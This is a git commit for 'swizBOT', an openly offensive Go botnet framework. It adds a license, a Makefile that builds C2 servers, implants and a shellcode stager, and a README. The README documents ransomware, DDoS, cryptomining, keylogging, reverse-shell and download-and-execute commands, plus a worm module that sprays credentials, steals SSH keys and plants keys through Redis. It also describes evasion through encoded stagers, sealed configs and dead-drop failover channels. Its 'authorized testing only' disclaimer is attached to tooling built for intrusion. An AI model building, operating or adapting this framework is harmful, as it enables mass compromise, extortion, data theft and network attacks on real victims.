Upload files to "/"

This commit is contained in:
ek0ms savi0r
2026-09-12 01:27:17 +00:00
parent 71e8114409
commit bd2564a867
6 changed files with 395 additions and 14 deletions
+16 -13
View File
@@ -1,18 +1,21 @@
MIT License
Copyright (c) 2026 ek0mssavi0r
Copyright (c) 2026 ek0ms savi0r
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and
associated documentation files (the "Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the
following conditions:
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial
portions of the Software.
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT
LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO
EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
USE OR OTHER DEALINGS IN THE SOFTWARE.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+79
View File
@@ -0,0 +1,79 @@
GO ?= go
BIN := bin
BOT_LDFLAGS := -s -w
C2_LDFLAGS := -s -w
.PHONY: all build c2 bot bot-windows bot-linux bot-arm64 test vet fmt stager stager-selftest clean
all: vet test stager-selftest build
build: c2 bot-windows bot-linux
c2:
$(GO) build -ldflags "$(C2_LDFLAGS)" -o $(BIN)/swizbot-c2 ./cmd/c2
bot: bot-windows bot-linux
bot-windows:
GOOS=windows GOARCH=amd64 CGO_ENABLED=0 $(GO) build -ldflags "$(BOT_LDFLAGS) -H=windowsgui" -o $(BIN)/swizbot-bot.exe ./cmd/bot
bot-windows-386:
GOOS=windows GOARCH=386 CGO_ENABLED=0 $(GO) build -ldflags "$(BOT_LDFLAGS) -H=windowsgui" -o $(BIN)/swizbot-bot-386.exe ./cmd/bot
bot-linux:
$(GO) build -ldflags "$(BOT_LDFLAGS)" -o $(BIN)/swizbot-bot-linux ./cmd/bot
bot-arm64:
GOOS=linux GOARCH=arm64 CGO_ENABLED=0 $(GO) build -ldflags "$(BOT_LDFLAGS)" -o $(BIN)/swizbot-bot-arm64 ./cmd/bot
test:
$(GO) test ./...
vet:
$(GO) vet ./...
fmt:
gofmt -w .
# Encoder self test: emulated decode round-trips for every arch/mode and,
# when nasm is installed, byte-parity against the decoder listings.
stager-selftest:
python3 stager/encoder.py --selftest
# Build a stager from a raw payload file:
# make stager PAYLOAD=payloads/calc.bin OUT=output/stager.bin ARCH=x64 MODE=lfsr
PAYLOAD ?= payload.bin
OUT ?= output/stager.bin
ARCH ?= x86
MODE ?= xor # xor | lfsr | noloop
stager:
python3 stager/encoder.py $(PAYLOAD) $(OUT) $(shell [ "$(MODE)" = "lfsr" ] && echo --lfsr) $(shell [ "$(MODE)" = "noloop" ] && echo --noloop) --arch $(ARCH) --loader
clean:
rm -rf $(BIN) output loader.c
# Bake an implant with compiled-in config (see cmd/build):
# make payload C2_URLS="https://c2.example.com:8443" BOT_SECRET=*** OUT=bin/bot.exe OS=windows ARCH=amd64
# For a zero-leak build, add SEAL="<passphrase>" (implant reads it from SWIZ_UNLOCK at runtime).
C2_URLS ?=
BOT_SECRET ?=
BOT_KEY ?=
C2_PUBKEY ?=
XOR ?=
SEAL ?=
ALLOW_PLAINTEXT ?= # set to 1 to bake secrets obfuscated-only (no -seal)
OS ?= linux
ARCH ?= amd64
OUT ?= bin/swizbot-bot
payload:
@if [ -n "$(BOT_SECRET)$(BOT_KEY)" ] && [ -z "$(SEAL)" ] && [ "$(ALLOW_PLAINTEXT)" != "1" ]; then \
echo "ERROR: refusing to bake secrets without SEAL=<passphrase>."; \
echo " SEAL='...' -> sealed, zero-leak (needs SWIZ_UNLOCK at runtime)"; \
echo " ALLOW_PLAINTEXT=1 -> obfuscated-only bake (secrets hidden from strings, but recoverable by RE)"; \
exit 1; \
fi
go run ./cmd/build -c2-urls "$(C2_URLS)" -bot-secret "$(BOT_SECRET)" -bot-key "$(BOT_KEY)" -c2-pubkey "$(C2_PUBKEY)" -xor "$(XOR)" -seal "$(SEAL)" -os $(OS) -arch $(ARCH) -out $(OUT)
# Static leak scan: prove baked config is not string-recoverable.
leakscan:
bash scripts/leakscan.sh
+283 -1
View File
@@ -1,3 +1,285 @@
# swizBOT
Go botnet client, HTTPS+WS C2, worm module
Modular Go implant framework with a CALL/POP stager (Jake Swiz decoder
technique), a polling HTTPS C2, an operator dashboard, plugin actions,
and a lateral-movement worm module.
by ek0ms savi0r, Church of Malware. Decoder technique after Jake Swiz
(0xXyc) / Fukahi Teki0 research.
For authorized security testing and education only.
## Layout
| Path | What it is |
|------|------------|
| cmd/c2 | C2 server: implant API, operator API, WebSocket, embedded dashboard |
| cmd/bot | Implant: beacon loop, failover, plugins dispatch, worm module |
| internal/plugins | Action modules (ddos, miner, file encryption, reverse shell, keylogger) |
| stager | XOR/LFSR CALL/POP stager encoder (x86/x64) + decoder listings |
| web | dashboard sources (embedded into the c2 binary at build time) |
## Quick start (lab)
```bash
# build the C2 and the Linux implant
make c2 bot-linux
# self-signed cert for the TLS implant listener
openssl req -x509 -newkey rsa:4096 -keyout server.key -out server.crt \
-days 365 -nodes -subj '/CN=localhost'
# run the C2: operator UI on :8080, implant listener (TLS) on :8443
# -token protects every operator endpoint; -bot-secret is required from implants
./bin/swizbot-c2 -token 'change-me' -bot-secret 'shared-secret'
# register an implant against it (env-driven, no rebuilds)
SWIZ_C2_URLS=https://127.0.0.1:8443 \
SWIZ_BOT_SECRET=shared-secret \
SWIZ_BOT_ID=lab-1 \
./bin/swizbot-bot-linux
# queue a command (operator API)
curl -s -H 'X-C2-Token: change-me' \
'http://127.0.0.1:8080/command?bot_id=lab-1&cmd=exec&payload=id'
# watch the result stream in the dashboard at http://127.0.0.1:8080
```
For Windows targets build the GUI implant:
```bash
make bot-windows # bin/swizbot-bot.exe (amd64, windowsgui)
```
## Dashboard
The C2 serves a single-file dashboard (terminal theme, no external
assets) on the operator listener:
- bot list with OS/arch/IP/last-seen and live online state
- per-type command builder (exec, download, ddos, shell, miner,
ransomware, keylog, worm, kill) with broadcast mode
- WebSocket event stream for registrations and command results, with
polling fallback
- token login screen when the C2 runs with -token
## Commands
| type | payload | behavior |
|------|---------|----------|
| exec | shell command | runs via cmd.exe /C or /bin/sh -c |
| download | http(s) URL | downloads to a temp file, chmod +x, executes |
| fetch | file path | pulls a file back from the implant (base64 result, 4 MB cap) |
| screenshot | - | captures the primary display (Windows build) and returns the PNG |
| ddos | `host:port method seconds` | udp/tcp/http flood for the given window |
| shell | `host port` | reverse shell loop (line protocol, auto reconnect) |
| miner | `pool wallet [threads] [path|url]` | runs an xmrig-compatible binary |
| ransomware | operator RSA public key (PEM) | AES-256-GCM per-file, RSA-OAEP key wrap |
| keylog | optional log path | GetAsyncKeyState logger (Windows build) |
| worm | optional `subnets CSV` | lateral movement module (see below) |
| kill | - | removes persistence and exits |
Every command reports a result: `success` only when the action was
actually started/completed, `failed` with the reason otherwise. Unknown
command types are rejected, not silently ignored.
## Implant configuration (environment)
| variable | default | purpose |
|----------|---------|---------|
| SWIZ_C2_URLS | https://127.0.0.1:8443 | comma-separated operator endpoints, tried in random order |
| SWIZ_BOT_ID | hostname_pid | implant identifier reported to the C2 |
| SWIZ_BOT_SECRET | - | sent as X-Bot-Secret; required if the C2 runs -bot-secret |
| SWIZ_BOT_KEY | - | implant X25519 private key (hex); enables the sealed channel |
| SWIZ_C2_PUBKEY | - | operator X25519 public key (hex); encrypts results to the C2 |
| SWIZ_XOR | 0xaa | result body obfuscation byte, must match the C2 -xor |
| SWIZ_INTERVAL | 30s | beacon interval |
| SWIZ_JITTER | 30s | random sleep added to the interval |
| SWIZ_BACKOFF_MAX | 1h | max exponential backoff when every endpoint is down |
| SWIZ_DNS_DOMAIN | - | TXT record domain checked for additional endpoints |
| SWIZ_P2P | 0 | LAN peer discovery (UDP broadcast, see docs) |
| SWIZ_PEER_PORT | 31337 | peer discovery port |
| SWIZ_TELEGRAM_TOKEN | - | dead-drop fallback (bot API token) |
| SWIZ_TELEGRAM_CHAT_ID | - | optional chat filter for the dead drop |
| SWIZ_LOG | - | log file (stderr when unset) |
| SWIZ_UNLOCK | - | passphrase that unlocks a `-seal`ed baked config (see docs/BAKED-CONFIG.md) |
| SWIZ_WORM_SUBNETS | - | worm target subnets CSV override |
| SWIZ_WORM_DOWNLOAD_URL | - | hosted implant binary for cross-OS deployment |
| SWIZ_WORM_RESCAN | 10m | worm rescan interval |
Results are cached locally when every endpoint is unreachable and
flushed on the next successful contact. The XOR byte is obfuscation,
not encryption: transport security comes from the TLS listener.
## Baked config (compile-time)
`cmd/build` compiles config into the implant so a deployment is a single
artifact. All values are packed into one opaque token (`internal/bakepack`),
never injected as plaintext `-ldflags -X` symbols:
```bash
# obfuscated (default): no readable secrets in the binary
make payload C2_URLS=https://c2.example:8443 BOT_SECRET=s3cret OS=linux
# sealed: AES-256-GCM under a passphrase -> zero-leak artifact
make payload SEAL='correct horse battery staple' \
C2_URLS=https://c2.example:8443 BOT_SECRET=s3cret OS=linux
# ...then run with SWIZ_UNLOCK='correct horse battery staple'
```
Precedence is **env > baked > default**. The obfuscated mode defeats
`strings`/static triage; the sealed mode is real encryption and leaves the
binary inert without `SWIZ_UNLOCK`. Baking secrets without `-seal` prints a
warning. Full rationale, threat model and limits: docs/BAKED-CONFIG.md.
## C2 configuration (flags)
| flag | default | purpose |
|------|---------|---------|
| -ui | :8080 | operator UI/API listener |
| -listen | :8443 | implant listener (TLS) |
| -cert / -key | server.crt / server.key | TLS keypair |
| -insecure | false | plain HTTP implant listener (lab) |
| -tunnel | none | outbound tunnel: cloudflared quick tunnel in front of -ui |
| -token | - | operator token (X-C2-Token header or login cookie) |
| -bot-secret | - | secret implants must present |
| -bot-key | - | operator X25519 private key; enables the sealed bot channel |
| -bot-key-gen | - | print a fresh operator keypair and exit |
| -xor | 0xaa | result obfuscation byte |
| -prune-hours | 24 | drop bots unseen for N hours (0 disables) |
Fleet pause/resume (reversible kill switch): queue `cmd=pause` with
`bot_id=*` to stop all command delivery; implants slow-poll so
`cmd=resume` reaches them. Paused state is server-side, so a resume
always re-enables the fleet.
Failover layers: the implant carries the same sealed frames over an
ordered channel stack (HTTPS -> DNS -> Telegram dead-drop), failing
over automatically when a layer stops answering. Layer order,
health/probation semantics and per-layer setup: docs/TRANSPORTS.md.
Bot endpoints are `/checkin` and `/result`; operator endpoints are
`/command`, `/list`, `/api/bots`, `/api/command`, `/ws`, `/login`, and
the dashboard at `/`.
## Sealed bot channel
When the C2 runs with `-bot-key` and implants carry `SWIZ_BOT_KEY` (their
own X25519 keypair) plus `SWIZ_C2_PUBKEY` (the operator public key), the
payload layer upgrades from single-byte XOR to per-frame AEAD:
- every checkin response (command) is sealed to the implant's registered
public key; the implant opens it with its own private key;
- every result is sealed with a fresh ephemeral X25519 key against the
operator public key (forward secrecy); the C2 opens it with `-bot-key`;
- tampered or wrong-key frames are rejected (GCM auth).
Generate the operator keypair once: `swizbot-c2 -bot-key-gen`. Distribute
`SWIZ_BOT_KEY` per implant (or fleet) and `SWIZ_C2_PUBKEY` from the
generator output. Without keys the channel falls back to TLS + XOR
obfuscation for lab use.
Command delivery is at-least-once: an undelivered command is redelivered
after 2 minutes up to 3 times and then dropped if never acknowledged.
## Bot protocol
- checkin: `GET /checkin?bot_id=..&os=..&arch=..` with
`X-Bot-Secret`; returns `{"id","type","payload","target"}`; an empty
`id` means nothing is queued.
- result: `POST /result`, body is the JSON result XOR-masked with the
configured byte: `{"bot_id","command_id","output","status"}`.
- command (operator): `GET /command?...` or `POST /command` with a
JSON body `{"bot_id","type","payload","target"}`; `bot_id=*`
broadcasts to every known implant.
## Worm module
Activated only by the `worm` command (never at boot). It scans the
target subnets and dispatches open ports to real deploy modules:
| vector | port | notes |
|--------|------|-------|
| ssh | 22 | Go-native credential spray + stolen-key auth; stages the implant via sftp-less pipe and launches it detached |
| smb | 445 | net.exe credential spray, ADMIN$ copy, remote scheduled task (Windows build) |
| redis | 6379 | RESP config rewrite that plants an authorized SSH key (only with harvested key material; no fake keys) |
| web | 80/443/8080/8443 | sensitive-path recon; reports findings, never claims infections |
| usb | - | removable drive copy + autorun.inf + .lnk (Windows build) |
| shares | - | writable network share and public Startup copy (Windows build) |
| harvest | - | local config/log credential extraction and .ssh private-key theft feeding the spray lists |
Subnets: `worm` payload CSV, SWIZ_WORM_SUBNETS, or the local /24.
Cross-OS deployment uses SWIZ_WORM_DOWNLOAD_URL when set, otherwise the
implant copies itself (same-OS spreads). Success is counted only on a
verified outcome per vector. The module is exercised by unit and
integration tests (Redis vector runs against a live fake RESP server in
the test suite); the full spread loop is not executed on this host.
## Stager
The stager prepends a position-independent CALL/POP decoder to an
XOR- or LFSR-encoded raw payload:
```bash
# XOR loop decoder (x86)
python3 stager/encoder.py payload.bin out/stager.bin
# polymorphic LFSR stream, 64-bit decoder + C loader
python3 stager/encoder.py payload.bin out/stager.bin --lfsr --arch x64 --loader
# unrolled decoder, no loop instruction (payload up to 255 bytes)
python3 stager/encoder.py payload.bin out/stager.bin --noloop
# full verification: emulated decode round-trips + nasm byte parity
python3 stager/encoder.py --selftest
```
- modes: `xor` (fixed key), `lfsr` (32-bit LFSR, key changes per byte),
`noloop` (unrolled). xor/noloop payloads up to 255 bytes for noloop;
loop modes up to 65535 bytes.
- architectures: x86 and x64 (positions documented in
stager/decoder_x86.asm and decoder_x64.asm, verified byte-for-byte
against the emitted stubs by --selftest when nasm is available).
- `--loader` writes a loader.c (VirtualAlloc RWX + memcpy + call);
compile with i686- or x86_64-w64-mingw32-gcc, add -mwindows for a GUI
binary.
The technique (CALL/POP, in-memory decode, execute) follows Jake Swiz's
published decoder research; execution verification here is done in the
instruction emulator rather than on Windows hardware.
## Testing
```bash
make test # go test ./... (server, implant, plugins, bakepack)
make vet
make leakscan # prove baked config is not string-recoverable
make stager-selftest # encoder round-trips + listing parity
```
The test suite covers the full operator lifecycle (register, queue,
deliver, result, ack, redelivery, drop), auth gates, the implant
checkin/exec/result round trip against a live HTTP server, plugin
behavior (ransomware AES/RSA round trip on real files, DDoS validation,
miner resolution), the Redis worm vector against a live fake RESP
server, subnet enumeration, the transport manager (per-layer health,
probation/backoff, auto-recovery) and 20 stager decode round-trips.
docs/VERIFICATION.md records the honest surface: what is live-verified
(Linux E2E, b1/b2 baked config, DNS fallback, Windows
registration/exec/screenshot/persistence under Wine) versus
compiled/unit-only (Telegram, P2P, SMB/USB/share, schtasks, stager on
real hardware) versus deliberately not executed (the worm spread loop).
## Credits
- Jake Swiz (0xXyc) - CALL/POP XOR decoder and loader technique,
PEB walking and ASLR research that this stager builds on.
- ek0ms savi0r - Go framework, C2, dashboard, plugins, worm module.
## Disclaimer
For educational purposes and authorized security testing only. The
operator is responsible for compliance with applicable law and for
obtaining authorization before testing any system.
BIN
View File
Binary file not shown.
+9
View File
@@ -0,0 +1,9 @@
module github.com/saviorSEC/swizBOT
go 1.21
require (
github.com/gorilla/websocket v1.5.3
golang.org/x/crypto v0.17.0
golang.org/x/sys v0.15.0
)
+8
View File
@@ -0,0 +1,8 @@
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
golang.org/x/crypto v0.17.0 h1:r8bRNjWL3GshPW3gkd+RpvzWrZAwPS49OmTGZ/uhM4k=
golang.org/x/crypto v0.17.0/go.mod h1:gCAAfMLgwOJRpTjQ2zCCt2OcSfYMTeZVSRtQlPC7Nq4=
golang.org/x/sys v0.15.0 h1:h48lPFYpsTvQJZF4EKyI4aLHaev3CxivZmv7yZig9pc=
golang.org/x/sys v0.15.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/term v0.15.0 h1:y/Oo/a/q3IXu26lQgl04j/gjuBDOBlx7X6Om1j2CPW4=
golang.org/x/term v0.15.0/go.mod h1:BDl952bC7+uMoWR75FIrCDx79TPU9oHkTZ9yRbYOrX0=